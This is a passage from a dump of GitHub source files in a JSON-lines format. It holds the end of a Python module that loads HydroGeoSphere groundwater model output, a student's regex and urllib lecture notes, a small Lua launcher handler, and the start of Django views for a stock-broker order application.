lallelem or var in varlist:\n dataset += Variable(data=coords_olf[var].values, axes=(node_ax,), **constatts[var])\n # extract coordinate fields (porous medium)\n if not lallelem or 'z_pm' in varlist:\n dataset += Variable(data=coords_pm['z'].values.reshape((se,ne)), axes=(sheet_ax,node_ax), \n **constatts['z_pm'])\n if not lallelem or 'nodes_pm' in varlist: \n dataset += Variable(data=coords_pm.index.values.reshape((se,ne)), axes=(sheet_ax,node_ax), \n **constatts['nodes_pm'])\n nne = len(coords_pm)\n assert ne*se == nne\n vector_ax = Axis(coord=np.arange(3), **constatts['vector'])\n\n # load elemental coordinate, if necessary\n lelem = False; lelem3D = False\n for hgsvar in varlist:\n if hgsvar in constatts: atts = constatts[hgsvar]['atts']\n elif hgsvar in varatts: atts = varatts[hgsvar]['atts']\n if atts.get('elemental',False) or lallelem: \n lelem = True\n lelem3D = lelem3D or atts.get('pm',False) \n if lallelem:\n atts['interp_elem'] = ( not atts.get('elemental',False) )\n# lelem3D = lelem3D or 'z_elm' in final_varlist or 'K' in final_varlist\n# lelem = lelem or 'zs_elm' in final_varlist or lelem3D\n \n if lallelem or 'depth2gw' in varlist:\n pm_olf_mapping = reader.get_pm_olf_node_mapping(coordinates_pm=coords_pm, \n coordinates_olf=coords_olf)\n else: pm_olf_mapping = None\n \n nelem = None; nlay = None # need to be defined later... even if not used\n \n if lelem:\n elem_olf = reader.read_elements(domain='olf')\n nelem = len(elem_olf)\n elem_ax = Axis(coord=np.arange(1,nelem+1), **constatts['element'])\n dataset += elem_ax\n elem_coords_olf = reader.compute_element_coordinates(elements=elem_olf, coords_pm=coords_pm, \n coord_list=('x','y','z'), lpd=False)\n if lallelem or 'dz_elm' in varlist: \n# elem_olf_offset = elem_olf - (se-1)*ne\n# # N.B.: in principle it would be possible to look up the corresponding PM and OLF nodes,\n# # and replace PM indices with OLF indices, but that is extremely inefficient, and\n# # based on some testing it appears save to assume that the order of nodes is the \n# # same in each sheet (and the OLF domain), so that simple subtraction should work.\n# # Nevertheless, it is still saver to test this, at least a little...\n elem_olf_offset = reader.get_olf_node2element_mapping(pm_olf_mapping=pm_olf_mapping, \n elem_olf=elem_olf, lcheck=True) \n assert elem_olf_offset.values[:,1:3].min() == 1\n assert elem_olf_offset.values[:,1:3].max() == ne\n # add surface element coordinate fields (x, y, and surface elevation zs)\n for var in ('x','y','z'):\n dataset += Variable(data=elem_coords_olf[var], axes=(elem_ax,), **constatts[var+'_elm'])\n # N.B.: 'z' is actually 'zs' but this is already taken care of in constant_attributes\n # add 3D element coordinates\n if lelem3D:\n elem_pm = reader.read_elements(domain='pm')\n nlay = len(elem_pm)//nelem\n assert nelem*nlay == len(elem_pm) \n assert nlay+1 == se # there is one extra sheet \n layer_ax = Axis(coord=np.arange(1,nlay+1), **constatts['layer'])\n dataset += layer_ax\n # add 3D element numbers\n dataset += Variable(data=elem_pm.index.values.reshape((nlay,nelem)), axes=(layer_ax,elem_ax), \n **constatts['elements_pm'])\n # add 3D element elevation (z coordinate), if requested\n if any([varname in varlist for varname in ('z_elm','recharge_gwt',)]):\n elem_coords_pm = reader.compute_element_coordinates(elements=elem_pm, coords_pm=coords_pm, \n coord_list=('z',), lpd=False)\n dataset += Variable(data=elem_coords_pm['z'].reshape((nlay,nelem)), axes=(layer_ax,elem_ax,), \n **constatts['z_pmelm']) # 'z' is already used for the 'zs' variable\n assert np.all(np.diff(dataset['z_elm'][:], axis=0) > 0)\n # compute layer thickness\n if 'dz_elm' in varlist:\n z_pm = dataset['z'][:]\n assert (se,ne) == z_pm.shape, z_pm.shape\n dz_elm = np.zeros((nlay,nelem)) # allocate\n lower_z = None\n for i in range(0,se): # interpolate to elements layer-wise\n upper_z = z_pm[i,:]\n if lower_z is not None:\n dz = upper_z - lower_z # compute difference (uses less memory in loop)\n dz_elm[i-1,:] = reader.interpolate_node2element(dz, elements=elem_olf_offset, lpd=False)\n lower_z = upper_z\n # create and add variable to dataset\n assert dz_elm.max() > 0, 'There may be a sign error...'\n dataset += Variable(data=dz_elm, axes=(layer_ax,elem_ax,), **constatts['dz_elm'])\n # add elemental K\n if 'K' in final_varlist:\n elem_k = reader.read_k(override_k_option=override_k_option)\n nten = len(elem_k.columns)\n lk = len(elem_k)\n if lk != nlay*nelem: \n raise ValueError(\"Number of K values ({}) does not match number of elements ({}); consider overriding the k_option.\".format(lk,nlay*nelem))\n if nten == 1:\n dataset += Variable(data=elem_k.values.reshape((nlay,nelem)), axes=(layer_ax,elem_ax,), \n **constatts['elem_k']) # scalar value\n else:\n tensor_ax = Axis(coord=np.arange(1,nten+1), **constatts['tensor'])\n dataset += Variable(data=elem_k.values.reshape((nlay,nelem,nten)), \n axes=(layer_ax,elem_ax,tensor_ax), **constatts['elem_k']) # tensor value\n # N.B.: currently elements are assumed to be organized in vertically symmetric layers\n \n \n # remove constant variables from varlist (already loaded)\n varlist = [var for var in varlist if var not in constatts] \n \n # initialize variables\n load_varlist = []\n for hgsvar in varlist:\n atts = varatts[hgsvar]\n aa = atts['atts']\n # elemental variables are currently not supported\n aa['HGS_name'] = hgsvar # needed later\n if aa.get('elemental',False) or aa.get('interp_elem',False):\n axes = (elem_ax,)\n if aa.get('pm',False): axes = (layer_ax,)+axes\n else:\n axes = (node_ax,)\n if aa.get('pm',False): axes = (sheet_ax,)+axes\n if aa.get('vector',False): axes = axes+(vector_ax,)\n axes = (time,)+axes\n shape = tuple([len(ax) for ax in axes]) \n # save name and variable\n dataset += Variable(data=np.zeros(shape),axes=axes, **atts)\n load_varlist.append(atts['name'])\n # add simulation time variable\n dataset += Variable(data=np.zeros((te,)), axes=(time,), **constatts['model_time'])\n \n # now fill in the remaining data\n for i,t in enumerate(t_list):\n if i > 0: # reuse old reader for first step \n reader = binary.IO(prefixo,folder,t)\n # reset dependencies\n for depvar in all_deps.keys(): all_deps[depvar] = None\n all_deps['coordinates_pm'] = coords_pm\n all_deps['coordinates_olf'] = coords_olf\n all_deps['pm_olf_mapping'] = pm_olf_mapping\n all_deps['n_elm'] = nelem\n all_deps['n_lay'] = nlay\n all_deps['n_node'] = ne\n all_deps['n_sheet'] = se\n all_deps.update(var_opts) # options for groundwater table calculation\n all_deps['layer'] = None\n all_deps.update(kwargs) # kwargs are used for slicing\n for depvar in ['z_pm','z','z_pmelm','z_elm','dz_elm']:\n if depvar in all_deps:\n all_deps[depvar] = dataset[constatts[depvar]['name']][:] # these are just arrays\n sim_time = reader.read_timestamp()\n # loop over variables\n for var in load_varlist:\n variable = dataset[var]; aa = variable.atts; hgsvar = aa['HGS_name']\n linterp = aa.get('interp_elem',False); l3d = variable.atts.get('pm',False)\n shp3d = (nlay,nelem) if lelem3D and ( aa.get('elemental',False) or linterp ) else (se,ne)\n # load data\n if aa.get('function',False):\n deplist = {depvar:all_deps[depvar] for depvar in aa.get('dependencies',[])}\n fct_name = aa['function']; _locals = globals()\n if fct_name in _locals:\n fct = _locals[fct_name]\n args = {key:deplist[key] for key in inspect.getargs(fct.__code__)[0] if key in deplist}\n data = fct(**args).squeeze()\n if linterp:\n if l3d: data = reader.interpolate_node2element(data, elements=elem_pm, lpd=False)\n else: data = reader.interpolate_node2element(data, elements=elem_olf_offset, lpd=False)\n elif hasattr(reader, fct_name):\n fct = getattr(reader,fct_name)\n args = {key:deplist[key] for key in inspect.getargs(fct.__code__)[0] if key in deplist}\n df = fct(**args) \n if l3d: \n if linterp:\n data = reader.interpolate_node2element(df, elements=elem_pm, lpd=False)\n else: data = df.values\n data = data.reshape(shp3d)\n else: \n if linterp:\n data = reader.interpolate_node2element(df, elements=elem_olf_offset, lpd=False)\n else: data = df.values\n data = data.squeeze()\n# if data.size == variable.shape[1]+1: \n# print(\"Warning: Trimming first element of {} array.\".format(var))\n# data = data[1:] \n else:\n raise NotImplementedError(fct_name)\n variable.data_array[i,:] = data \n elif aa.get('vector',False):\n df = reader.read_vec(hgsvar)\n if linterp:\n if l3d: data = reader.interpolate_node2element(df, elements=elem_pm, lpd=False)\n else: data = reader.interpolate_node2element(df, elements=elem_olf_offset, lpd=False)\n else: data = df.values\n if l3d: data = data.reshape(shp3d+(3,)) \n variable.data_array[i,:] = data\n# else: \n# for j in range(3): # transposing vectors\n# variable.data_array[i,j,:] = data[:,j]\n else:\n # check simulation time\n st = reader.read_timestamp(var=hgsvar)\n if sim_time != st:\n raise ValueError(\"Timestamps in output files are not consistent between variables: {} != {} ({})\".format(sim_time,st,hgsvar))\n # read actual binary 2D or 3D data\n if l3d:\n df = reader.read_var(hgsvar, nne)\n if linterp:\n data = reader.interpolate_node2element(df, elements=elem_pm, lpd=False)\n else: data = df.values\n variable.data_array[i,:] = data.reshape(shp3d)\n else:\n df = reader.read_var(hgsvar, ne)\n if linterp:\n data = reader.interpolate_node2element(df, elements=elem_olf_offset, lpd=False)\n else: data = df.values\n variable.data_array[i,:] = data.squeeze()\n # save dependencies\n if hgsvar in all_deps: all_deps[hgsvar] = df # dataframes are not interpolated to elements\n if linterp and hgsvar+'_elm' in all_deps: \n # array that has been interpolated to elements\n all_deps[hgsvar+'_elm'] = data\n # save timestamp\n dataset['model_time'].data_array[i] = sim_time \n \n # now remove all unwanted variables...\n if lstrip:\n # clean up variables\n for var in list(dataset.variables.keys()):\n if var not in final_varlist: dataset.removeVariable(var)\n # clean up axes\n for ax in list(dataset.axes.keys()):\n if ax not in final_varlist: dataset.removeAxis(ax, force=False) \n # N.B.: force=False means only remove unused axes\n \n # do some multi-purpose slicing\n tensor_idx = dict(x=0,y=1,z=2,xx=0,yy=1,zz=2,xy=3,yz=4,zx=5)\n slc_axes = dict()\n for axname,axval in kwargs.items():\n if axname in dataset.axes and axval is not None:\n # some special values...\n if axname in ('vector','tensor'):\n axval = tensor_idx.get(axval,axval)\n if axval < 0: \n axval = dataset.axes[axname].max() + axval +1\n slc_axes[axname] = axval\n dataset = dataset(**slc_axes)\n \n # flip sign of depth to groundwater variable\n if lflipdgw:\n d_gw = binary_attributes_mms['depth2gw']['name']\n if d_gw in dataset:\n dataset[d_gw] *= -1\n\n # interpolate to regular grid \n if lgrid:\n dataset = gridDataset(dataset, griddef=griddef, basin=basin, subbasin=subbasin, \n shape_file=shape_file, basin_list=basin_list, grid_folder=grid_folder) \n \n # return completed dataset\n return dataset\n\n \n## abuse for testing\nif __name__ == '__main__':\n\n# from projects.WSC_basins import basin_list\n from datasets.WSC import BasinSet\n basin_list = dict()\n basin_list['GRW'] = BasinSet(name='GRW', long_name='Grand River Watershed', rivers=['Grand River'], \n data_source='Aquanty', stations={'Grand River':['Brantford']}, \n subbasins=['WholeGRW','UpperGRW','LowerGRW','NorthernGRW','SouthernGRW','WesternGRW'])\n basin_list['ARB'] = BasinSet(name='ARB', long_name='Athabasca River Basin', rivers=['Athabasca'], data_source='WSC',\n stations=dict(Athabasca=['EmbarrasAirport','FortMcMurray','Athabasca','Windfall','Hinton','Jasper']),\n subbasins=['WholeARB','UpperARB','LowerARB'])\n\n # settings\n hgs_well = hgs_station = WSC_station= None\n basin_name = 'GRW'\n # V1 GRW model\n# hgs_folder = '{ROOT_FOLDER:s}/GRW/grw2/{EXP:s}{PRD:s}_d{DOM:02d}/{BC:s}{CLIM:s}/hgs_run'\n# hgs_station = 'Station_GR_Brantford'; WSC_station = 'Grand River_Brantford'\n # V3 GRW model\n# hgs_folder = '{ROOT_FOLDER:s}/GRW/grw2/{EXP:s}{PRD:s}_d{DOM:02d}/{BC:s}{CLIM:s}/hgs_run_v3_wrfpet'\n# hgs_station = '{WSC_ID0:s}'; WSC_station = 'Grand River_Brantford'\n# hgs_station = 'water_balance'; WSC_station = None\n# hgs_station = 'newton_info'; WSC_station = None\n# hgs_well = 'W0000347_3'\n # ARB model\n basin_name = 'ARB'\n wrf_exp = 'max-ctrl'; clim_mode = 'timeseries'; bc_method = 'MyBC_CRU_'\n# hgs_folder = '{ROOT_FOLDER:s}/ARB/arb2/{EXP:s}{PRD:s}_d{DOM:02d}/{BC:s}{CLIM:s}/hgs_run_cosia_1/'\n hgs_folder = '{ROOT_FOLDER:s}/ARB/{GRID:s}/{EXP:s}{PRD:s}_d{DOM:02d}/{BC:s}{CLIM:s}/hgs_run_cosia_1/'\n hgs_station = '05_MCMURRAY'; WSC_station = 'FortMcMurray'\n# hgs_station = 'water_balance'\n\n\n test_mode = 'station_dataset'\n# test_mode = 'gage_station'\n# test_mode = 'dataset_regrid'\n# test_mode = 'binary_dataset'\n# test_mode = 'time_axis'\n# test_mode = 'well_dataset'\n# test_mode = 'station_ensemble'\n\n\n if test_mode == 'station_dataset':\n\n # load dataset\n lkgs = True\n dataset = loadHGS_StnTS(station=hgs_station, conservation_authority=None, well=hgs_well, folder=hgs_folder, \n start_date=1979, run_period=5, PRD='', DOM=2, CLIM=clim_mode, BC=bc_method, \n basin=basin_name, WSC_station=WSC_station, basin_list=basin_list, lkgs=lkgs,\n lauto_sum=('rain','aet','nopeat_50'), grid='arb2',\n resample='D', time_axis='simple', \n lskipNaN=True, lcheckComplete=True, varlist='default', scalefactors=1e-4,\n EXP=wrf_exp, name='{EXP:s} ({BASIN:s})')\n# dataset = loadHGS_StnTS(EXP='max-ctrl', basin=basin_name, lkgs=False, folder=hgs_folder, basin_list=basin_list,\n# station=hgs_station, WSC_station=WSC_station, lskipNaN=True, lcheckComplete=False, \n# start_date=1979, run_period=5, PRD='', DOM=2, CLIM='transient_daily', BC='', \n# name='{EXP:s} ({BASIN:s}, daily)', resample='D', time_axis='datetime')\n # N.B.: there is no record of actual calendar time in HGS, so periods are anchored through start_date/run_period\n # and print\n print(dataset)\n print('')\n print((dataset.name))\n print((dataset.prettyPrint(short=True)))\n \n # some common operations\n print('')\n clim = dataset.climMean()\n print(clim)\n\n if hgs_station == 'Station_GR_Brantford':\n test_results = np.asarray([24793.523584608138, 25172.635322536684, 39248.71087752686, 73361.80217956303, 64505.67974315114, \n 32456.80709658126, 18431.93890164255, 15018.095766333918, 16045.543845416256, 17636.665822798554,\n 18529.952477226405, 22288.711837028015])\n if not lkgs: test_results /= 1000.\n # test exact results\n if dataset.name == 'erai-g (GRW)':\n print((clim.discharge[:]))\n assert np.allclose(clim.discharge[:], test_results)\n # print(clim.sfroff[:]*86400)\n\n\n\n elif test_mode == 'gage_station':\n \n # load single dataset\n if WSC_station:\n ds = loadWSC_StnTS(station=WSC_station, basin=basin_name, period=(1974,2004), \n basin_list=basin_list, filetype='monthly', scalefactors=1e-3)\n elif hgs_well:\n ds = loadPGMN_TS(well=hgs_well, conservation_authority='GRCA',)\n print(ds)\n \n \n elif test_mode == 'dataset_regrid':\n\n # load dataset\n dataset = loadHGS(folder=hgs_folder, varlist=['dflx','zs'], conservation_authority='GRCA', \n sheet=-2, layer=-3, vector='z', lallelem=True,\n PRD='', DOM=2, CLIM='clim_15', BC='AABC_', basin=basin_name, basin_list=basin_list, \n lkgs=False, EXP='erai-g', name='{EXP:s} ({BASIN:s})',\n lgrid=True, griddef='grw3',)\n # load griddefition\n # interpolate to regular x,y-grid\n# x = Axis(name='x', units='m', coord=np.linspace(dataset.x.min(),dataset.x.max(),200))\n# y = Axis(name='y', units='m', coord=np.linspace(dataset.y.min(),dataset.y.max(),200))\n# dataset = gridDataset(dataset, griddef='grw2', basin=basin_name, basin_list=basin_list, \n# grid_folder=grid_folder)\n # and print\n print('')\n print(dataset)\n print('')\n print((dataset.dflx))\n print((dataset.dflx[2,15,:]))\n \n \n elif test_mode == 'binary_dataset':\n\n from timeit import default_timer as timer \n tic = timer()\n \n # load dataset\n vecvar = 'dflx_olf'\n #hgs_folder = '{ROOT_FOLDER:s}/GRW/grw2/{EXP:s}{PRD:s}_d{DOM:02d}/{BC:s}{CLIM:s}/hgs_run_deep'\n dataset = loadHGS(varlist=[vecvar,'z_elm','dz_elm'], EXP='g-ensemble', name='{EXP:s} ({BASIN:s})', \n lallelem=True, sheet=None, layer=None, season='MAM', tensor='z', vector=None, \n folder=hgs_folder, conservation_authority='GRCA', \n PRD='', DOM=2, CLIM='clim_15', BC='AABC_', #lgrid=True, griddef='grw2',\n basin=basin_name, basin_list=basin_list, lkgs=False, )\n # N.B.: there is no record of actual calendar time in HGS, so periods are anchored through start_date/run_period\n toc = timer()\n print((toc-tic))\n # and print\n print('')\n print(dataset)\n print((dataset.atts.HGS_folder))\n print('')\n print((dataset.model_time))\n print((dataset.model_time[:]))\n # inspect layers and depth\n if dataset.hasAxis('layer'):\n print('')\n print((dataset.layer))\n print((dataset.layer[:]))\n if 'dz_elm' in dataset:\n dz0 = dataset.dz_elm.mean(axis='element')\n print(dz0)\n print(dz0[:])\n if 'z_elm' in dataset and 'zs_elm' in dataset:\n d0 = dataset.zs_elm - dataset.z_elm(layer=dataset.layer.max())\n print(d0)\n print((d0.min(),d0.mean(),d0.max()))\n if vecvar in dataset:\n print('')\n vec = dataset[vecvar].mean(axis=('element','time'))\n print(vec)\n print((vec[:]))\n\n \n elif test_mode == 'time_axis':\n\n # load dataset\n dataset = loadHGS_StnTS(station=hgs_station, well=hgs_well, folder=hgs_folder, layers=None, #[16,17,18], \n start_date='1979-01-01', time_axis='datetime', resample='D', \n# end_date='1988-12-31', llastIncl=True,\n end_date='1989-01-01', llastIncl=False,\n basin=basin_name, WSC_station=WSC_station, basin_list=basin_list, lkgs=False,\n conservation_authority='GRCA',\n lskipNaN=True, lcheckComplete=True, varlist='default', scalefactors=1e-4,\n PRD='', DOM=2, CLIM='clim_15', BC='AABC_', EXP='erai-g', name='{EXP:s} ({BASIN:s})')\n # N.B.: there is no record of actual calendar time in HGS, so periods are anchored through start_date/run_period\n # and print\n print(dataset)\n print('')\n print((dataset.name))\n print((dataset.prettyPrint(short=True)))\n \n # view time axis\n print('')\n print((dataset.time))\n print((dataset.time[:]))\n\n # some variable\n if 'discharge' in dataset:\n print('')\n print((dataset.discharge))\n print((dataset.discharge.plot))\n\n# # test climatology... currently only works with month\n# print('')\n# clim = dataset.climMean()\n# print(clim)\n\n\n elif test_mode == 'well_dataset':\n\n # load dataset\n lkgs = True\n dataset = loadHGS_StnTS(station=hgs_station, conservation_authority='GRCA', well=hgs_well, folder=hgs_folder, \n layers=None, z_layers='screen', z_axis='z', z_aggregation='max', correct_z=True,\n start_date=1979, run_period=10, PRD='', DOM=2, CLIM='clim_15', BC='AABC_', \n basin=basin_name, WSC_station=WSC_station, basin_list=basin_list, lkgs=lkgs,\n lskipNaN=True, lcheckComplete=True, varlist='default', scalefactors=1e-4,\n EXP='erai-g', name='{EXP:s} ({BASIN:s})')\n # N.B.: there is no record of actual calendar time in HGS, so periods are anchored through start_date/run_period\n # and print\n print(dataset)\n print('')\n print((dataset.name))\n print((dataset.prettyPrint(short=True)))\n \n # some common operations\n print('')\n clim = dataset.climMean()\n print(clim)\n if dataset.hasAxis('z'):\n print('')\n #print(dataset.x[:],dataset.y[:],)\n print((dataset.z[:]))\n assert dataset.z.units == 'm', dataset.z\n print((\"Screen Interval: {}m - {}m\".format(dataset.atts.z_b,dataset.atts.z_t)))\n \n \n elif test_mode == 'station_ensemble':\n \n ens_name = '{EXPERIMENT:s}{PRDSTR:s}'\n ens_folder = '{ROOT_FOLDER:s}/GRW/grw2/{EXPERIMENT:s}{PRDSTR:s}_d{DOM:02d}/{CLIM:s}/hgs_run_v3_wrfpet'\n # actual ensemble definition\n ensemble_list = {'g-mean':('g-ctrl','g-ens-A','g-ens-B','g-ens-C'),\n 't-mean':('t-ctrl','t-ens-A','t-ens-B','t-ens-C')}\n\n # load an esemble of datasets\n ens = loadHGS_StnEns(ensemble=['g-mean','t-mean'], DOM=2, CLIM='AABC_clim_15', run_period=15,\n period=[(1984,1994),(2050,2060),(2090,2100)], PRDSTR=['','-2050','-2100'],\n station=hgs_station, well=hgs_well, conservation_authority='GRCA', \n name=ens_name, title=ens_name, basin=basin_name, layers=[1,2], # z_layers='screen',\n WSC_station=WSC_station, basin_list=basin_list, folder=ens_folder,\n lskipNaN=True, lcheckComplete=True, ensemble_list=ensemble_list, \n ens_name='HGS Ensemble', ens_title='HGS Ensemble based on WRF Ensemble',\n outer_list=['ensemble',('period','PRDSTR')], lensemble=True)\n # load an esemble of datasets\n obs = loadHGS_StnEns(ensemble='Observations', basin=basin_name,\n station=hgs_station, well=hgs_well, conservation_authority='GRCA', \n WSC_station=WSC_station, basin_list=basin_list, folder=None,\n lskipNaN=True, lcheckComplete=True, varlist=None, obs_period=(1974,2015),\n outer_list=None, lensemble=False)\n ens.insertMember(0,obs)\n # N.B.: all need to have unique names... whihc is a problem with obs...\n print(ens)\n print('\\n')\n print((ens[-1]))","repo_name":"aerler/HGS-Tools","sub_path":"Python/hgs/HGS.py","file_name":"HGS.py","file_ext":"py","file_size_in_byte":81320,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3343418670","text":"##Regular expressions: . ^ $ * + ? {} [] \\ | ()\r\n#{a , b} means a or b\r\n#[a , b] means a or b\r\n#ab mean ab\r\n#[a-z]* means 0 or more lowercase English letter\r\n#[[0-9]+ means 1 or more digit\r\n#test = \"th is a test\"\r\n#print(\"match:\", re.finall('[a-z]+', test))\r\n\r\n##test = \"ThiS wAs wRIttEn ODdly.\"\r\n##print(\"Matches:\", re.findall('[A-Z][a-z]', test))\r\n##Match: ['Th', 'As', 'It', 'En', 'Dd']\r\n\r\n##test = \"This is a *test* phrase.\"\r\n##print(\"A s:\", re.findall('[a]+', test))\r\n##print(\"Non A s:\", re.findall('[^a]+', test))\r\n##>>> \r\n##A s: ['a', 'a']\r\n##Non A s: ['This is ', ' *test* phr', 'se.']\r\n\r\n##test = \"This is a *test* phrase. We want *these* words.\"\r\n##print(\"Stars:\", re.findall('[*][a-z]+[*]', test)\r\n##>>> \r\n##Stars: ['*test*', '*these*']\r\n\r\n\r\n##test = \"This is a [test] phrase. Ignore these [words].\"\r\n##print(\"Words in []:\", re.findall('\\[[a-z]+\\]', test))\r\n##>>>\r\n##Words in []: ['[test]', '[words]']\r\n\r\n##\\d \tdecimal digit \t\t equiv. to \t[0-9]\r\n##\\D \tnon-digit char \t equiv. to \t[^0-9]\r\n##\\s \twhitespace char \t equiv. to \t[ \\t\\n\\r\\f\\v]\r\n##\\S \tnon-whitespace char \t \tequiv. to \t[^ \\t\\n\\r\\f\\v]\r\n##\\w \talphanumeric char \t \tequiv. to \t[a-zA-Z0-9_]\r\n##\\W \tnon-alphanumeric char \t equiv. to \t[^a-zA-Z0-9_] \r\n\r\n##test = \"tunafish; tuna fish; tuna fish\"\r\n##print(\"Matches:\", re.findall('tuna[ ]?fish', test))\r\n##>>> \r\n##Matches: ['tunafish', 'tuna fish']\r\n \r\n##test = \"spon; spoon; spooon; spooooooon\"\r\n##print(\"Matches:\", re.findall('sp[o]{2,3}n', test))\r\n##>>> \r\n##Matches: ['spoon', 'spooon']\r\n\r\n\r\n\r\n##import urllib.request\r\n##web_page = urllib.request.urlopen(\"http://www.soic.indiana.edu/\")\r\n##contents = web_page.read().decode(errors=\"replace\")\r\n##web_page.close()\r\n##\r\n####Creating a file name \"page.html\"\r\n##file_out = open(\"page.html\", \"w\", encoding=\"utf-8\")\r\n##file_out.write(contents)\r\n##file_out.close()\r\n##print(\"All done! Open page.html in your browser! \")\r\n##\r\n\r\n##Get Content (Grp work)\r\nimport urllib.request\r\nimport os\r\ndef getContent(URL):\r\n print(\"accessing: \", URL)\r\n web_page = urllib.request.urlopen(URL)\r\n contents = web_page.read().decode(errors=\"replace\")\r\n web_page.close()\r\n \r\n filename = os.path.basename(URL)\r\n\r\n ##if it has a basename then it would hold onto it \r\n if not filename:\r\n filename = \"index.html\"\r\n\r\n file_out = open(\"I211Test.html\", \"w\", encoding=\"utf-8\")\r\n file_out.write(contents)\r\n file_out.close()\r\n \r\n print(\"All done! Open I211Test.html in your browser! \")\r\n \r\ngetContent(\"http://cgi.soic.indiana.edu/~dpierz/I211/I211Test.html\")\r\n##getContent(\"http://www.cnn.com/\")\r\n\r\n##understanding a page (grp work)\r\n##1. 7\r\n##2. 93\r\n##3. <li> </li>\r\n##4. <h3> </h3>\r\n##5. /career/employers/index.html\" \r\n","repo_name":"youngoh2000/school-stuff","sub_path":"lecture 10.py","file_name":"lecture 10.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13403717450","text":"from typing import List\n\nfrom Bundlers import BundlerV1\nfrom Launchers import WindowsLauncher\n\n\nclass RunHandler:\n def handle(self, args: List[str]) -> bool:\n if len(args) < 2:\n return False\n\n path_to_dir = \"./\"\n if len(args) > 2:\n path_to_dir = args[2]\n\n if args[1] == \"run\":\n bundler = BundlerV1()\n launcher = WindowsLauncher()\n\n bundle = bundler.bundle(path_to_dir)\n launcher.launch(bundle)\n return True\n\n return False\n","repo_name":"mdpakhmurin/tfm-lua-launcher","sub_path":"CLHandler/RunHandler.py","file_name":"RunHandler.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"11252933393","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponse, HttpResponseRedirect, HttpResponseNotFound\nfrom django.contrib.auth.models import User\nimport broker.forms as forms\nimport market.models as models\nfrom django.contrib import messages\nfrom django.utils import timezone\nfrom market.views import render\n\n# Create your views here.\ndef check_type(v, t=int):\n try:\n return t(v)\n except:\n return None\n\n\ndef check_user(request):\n if not request.user.is_authenticated:\n return False\n broker = models.Broker.objects.filter(username=request.user.username).first()\n if broker is None:\n messages.warning(request, 'You do not have access to this page.')\n return True\n return False\n\n\ndef index_view(request):\n if check_user(request):\n return HttpResponseRedirect('/home')\n if request.user.is_authenticated:\n return HttpResponseRedirect('home')\n else:\n return HttpResponseRedirect('/login')\n\n\ndef logout_view(request):\n if check_user(request):\n return HttpResponseRedirect('/home')\n if request.user.is_authenticated:\n logout(request)\n messages.info(request, 'Successfully logged out.')\n return HttpResponseRedirect('/login')\n\n\ndef home_view(request):\n if check_user(request):\n return HttpResponseRedirect('/home')\n if not request.user.is_authenticated:\n messages.error(request, 'Please login first.')\n return HttpResponseRedirect('/login')\n broker = models.Broker.objects.filter(username=request.user.username).first()\n assert broker is not None\n context = {'broker': broker}\n return render(request, 'broker/home.html', context)\n\n\ndef past_order_view(request):\n if check_user(request):\n return HttpResponseRedirect('/home')\n if not request.user.is_authenticated:\n messages.error(request, 'Please login first.')\n return HttpResponseRedirect('/login')\n brid = models.Broker.objects.filter(username=request.user.username).first()\n assert brid is not None\n oldorder = models.OldOrder.objects.select_related('sid', 'eid', 'folio_id__clid__clid').filter(bid=brid)\n currorder = models.BuySellOrder.objects.select_related('sid', 'eid', 'folio_id__clid__clid').filter(bid=brid)\n formog = forms.SorterForm()\n\n if request.method == 'POST':\n form = forms.SorterForm(request.POST)\n if form.is_valid():\n sortfield = form.cleaned_data.get('sortfield')\n order_type = form.cleaned_data.get('order_type')\n ticker = form.cleaned_data.get('ticker')\n exchange = form.cleaned_data.get('exchange')\n client = form.cleaned_data.get('client')\n if order_type != 'All':\n oldorder = oldorder.filter(order_type=order_type)\n currorder = currorder.filter(order_type=order_type)\n formog.fields['order_type'].initial = order_type\n if sortfield != 'None':\n oldorder = oldorder.order_by(sortfield)\n currorder = currorder.order_by(sortfield)\n formog.fields['sortfield'].initial = sortfield\n if ticker != '':\n oldorder = oldorder.filter(sid__ticker__icontains=ticker)\n currorder = currorder.filter(sid__ticker__icontains=ticker)\n if exchange != '':\n oldorder = oldorder.filter(eid__name__icontains=exchange)\n currorder = currorder.filter(eid__name__icontains=exchange)\n if client != '':\n oldorder = oldorder.filter(folio_id__clid__clid__name__icontains=client)\n currorder = currorder.filter(folio_id__clid__clid__name__icontains=client)\n\n oldorder = oldorder.all()\n currorder = currorder.all()\n\n context = {'oldorders': oldorder, 'currorder': currorder, 'form': formog}\n return render(request, 'broker/past_orders.html', context)\n\n\ndef approve_order_view(request):\n if check_user(request):\n return HttpResponseRedirect('/home')\n if not request.user.is_authenticated:\n messages.error(request, 'Please login first.')\n return HttpResponseRedirect('/login')\n brid = models.Broker.objects.filter(username=request.user.username).first()\n assert brid is not None\n order_id = check_type(request.GET.get('order', None), int)\n if order_id is not None:\n order = models.PendingOrder.objects.filter(pk=order_id, bid=brid).first()\n if order is not None:\n commission = (brid.commission * order.quantity * order.price) / 100\n neworder = models.BuySellOrder(folio_id=order.folio_id, bid=order.bid, eid=order.eid, sid=order.sid, quantity=order.quantity, completed_quantity=0, price=order.price, creation_time=order.creation_time, order_type=order.order_type)\n delay = (timezone.now() - order.creation_time).total_seconds()\n brid.latency += (delay - brid.latency) // (brid.orders_approved + 1)\n brid.orders_approved += 1\n brid.balance += commission\n order.delete()\n neworder.save()\n brid.save()\n messages.success(request, 'Order approved.')\n else:\n messages.error(request, 'This order does not exist.')\n return HttpResponseRedirect('approve_order')\n\n pendingorder = models.PendingOrder.objects.select_related('sid', 'eid', 'folio_id__clid__clid').filter(bid=brid)\n formog = forms.SorterForm()\n\n if request.method == 'POST':\n form = forms.SorterForm(request.POST)\n if form.is_valid():\n sortfield = form.cleaned_data.get('sortfield')\n order_type = form.cleaned_data.get('order_type')\n ticker = form.cleaned_data.get('ticker')\n exchange = form.cleaned_data.get('exchange')\n client = form.cleaned_data.get('client')\n if order_type != 'All':\n pendingorder = pendingorder.filter(order_type=order_type)\n formog.fields['order_type'].initial = order_type\n if sortfield != 'None':\n pendingorder = pendingorder.order_by(sortfield)\n formog.fields['sortfield'].initial = sortfield\n if ticker != '':\n pendingorder = pendingorder.filter(sid__ticker__icontains=ticker)\n if exchange != '':\n pendingorder = pendingorder.filter(eid__name__icontains=exchange)\n if client != 